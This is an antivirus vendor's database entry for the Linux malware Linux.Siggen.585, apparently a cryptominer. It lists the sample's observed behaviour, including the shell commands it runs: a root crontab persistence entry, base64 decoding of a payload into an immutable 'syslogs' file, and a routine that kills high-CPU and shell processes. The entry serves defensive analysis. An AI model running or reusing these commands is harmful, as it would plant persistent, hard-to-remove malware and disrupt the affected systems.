JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.585
Added to the Dr.Web virus database:
2018-05-08
Virus description added:
2018-05-08
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
sh -c echo \"filename='syslogs';if [ -f \$filename ] ; then kill -9 \$(cat .idlerc); chattr -ia \$filename;fi;cat .b|base64 -di >\$filename;chmod 775 \$filename;rm -f .b;chattr +ia \$filename;\"|nohup sh >/dev/null 2>&1 &
nohup sh
sh
sh -c echo \"kills(){ ps ux |grep -v \$1 | awk '{if(\$3>35.0) print \$2}' | while read procid; do kill -9 \$procid; done };b=\$(cat .idlerc);if [ \$? -eq 0 ]; then kills \$b ; else kills 'syslogs'; fi; getself() { selfid=\\"grep\\"; self=\$\$; while [ \$self -gt 1 ]; do selfid=\\"\$selfid\\|\$((\$self))\\"; self=\$(ps -p \${1:-\$self} -o ppid=);done; };getself; killstr() { ps ux |grep \\"\$1\\"|grep -v \$selfid|grep -v 'grep\\|-bash\\|\$\$'|awk '{print \$2}'| while read procid; do kill -9 \$procid; done };killstr 'curl';killstr '|sh';killstr ' sh'; killstr 'bash'; sleep 1;chattr -ia <SAMPLE_FULL_PATH>;chmod 775 <SAMPLE_FULL_PATH>;chattr +ia <SAMPLE_FULL_PATH>;<SAMPLE_FULL_PATH>;\"|nohup sh >/dev/null 2>&1 &
sh -c echo '*/1 * * * * cd /root;<SAMPLE_FULL_PATH>'|crontab
cat .b
base64 -di
crontab
sysctl -w vm.nr_hugepages=128
cat .idlerc
ps ux
grep -v syslogs
awk {if($3>35.0) print $2}
chattr -ia syslogs
chmod 777 syslogs
chattr +ia syslogs
./syslogs
ps -p 718 -o ppid=
chmod 775 syslogs
rm -f .b
grep curl
grep -v grep\|718
grep -v grep\|-bash\|$$
awk {print $2}
ps -p 738 -o ppid=
grep -v 789
grep -v grep\|738
ps -p 756 -o ppid=
grep |sh
grep -v 799
grep -v grep\|756
grep -v 839
ps -p 791 -o ppid=
grep sh
ps -p 818 -o ppid=
grep -v 863
grep -v grep\|791
ps -p 847 -o ppid=
grep -v 897
grep -v grep\|818
grep -v 929
ps -p 878 -o ppid=
grep bash
ps -p 916 -o ppid=
grep -v 804
ps -p 948 -o ppid=
ps -p 980 -o ppid=
grep -v grep\|948
ps -p 1004 -o ppid=
grep -v grep\|980
ps -p 1029 -o ppid=
grep -v grep\|1004
Kills the following processes:
<SAMPLE>
/bin/ps
/var/spool/cron/syslogs
/bin/sh
bash
run.sh
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.os5Lbx
/root/syslogs
/var/spool/cron/crontabs/tmp.tMkqmA
/var/spool/cron/crontabs/tmp.ujFErR
/var/spool/cron/crontabs/tmp.rjRV7F
/var/spool/cron/crontabs/tmp.99abp4
/var/spool/cron/crontabs/tmp.VfxQCC
/var/spool/cron/crontabs/tmp.cwJJMZ
/var/spool/cron/crontabs/tmp.2D5Mz4
/var/spool/cron/crontabs/tmp.uEJz8N
/var/spool/cron/crontabs/tmp.1F5lpc
/var/spool/cron/crontabs/tmp.TB0cLr
/var/spool/cron/crontabs/tmp.BkWa32
/var/spool/cron/crontabs/tmp.VPKB8b
Creates or modifies files:
/root/.historys
/root/.b
/root/syslogs
/proc/sys/vm/nr_hugepages
/var/spool/cron/crontabs/tmp.os5Lbx
/var/spool/cron/crontabs/tmp.tMkqmA
/var/spool/cron/crontabs/tmp.ujFErR
/root/.idlerc
/var/spool/cron/crontabs/tmp.rjRV7F
/var/spool/cron/crontabs/tmp.99abp4
/var/spool/cron/crontabs/tmp.VfxQCC
/var/spool/cron/crontabs/tmp.cwJJMZ
/var/spool/cron/crontabs/tmp.2D5Mz4
/var/spool/cron/crontabs/tmp.uEJz8N
/var/spool/cron/crontabs/tmp.1F5lpc
/var/spool/cron/crontabs/tmp.TB0cLr
/var/spool/cron/crontabs/tmp.BkWa32
/var/spool/cron/crontabs/tmp.VPKB8b
Deletes files:
Network activity:
Establishes connection:
Sends data to the following servers:
Receives data from the following servers:
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK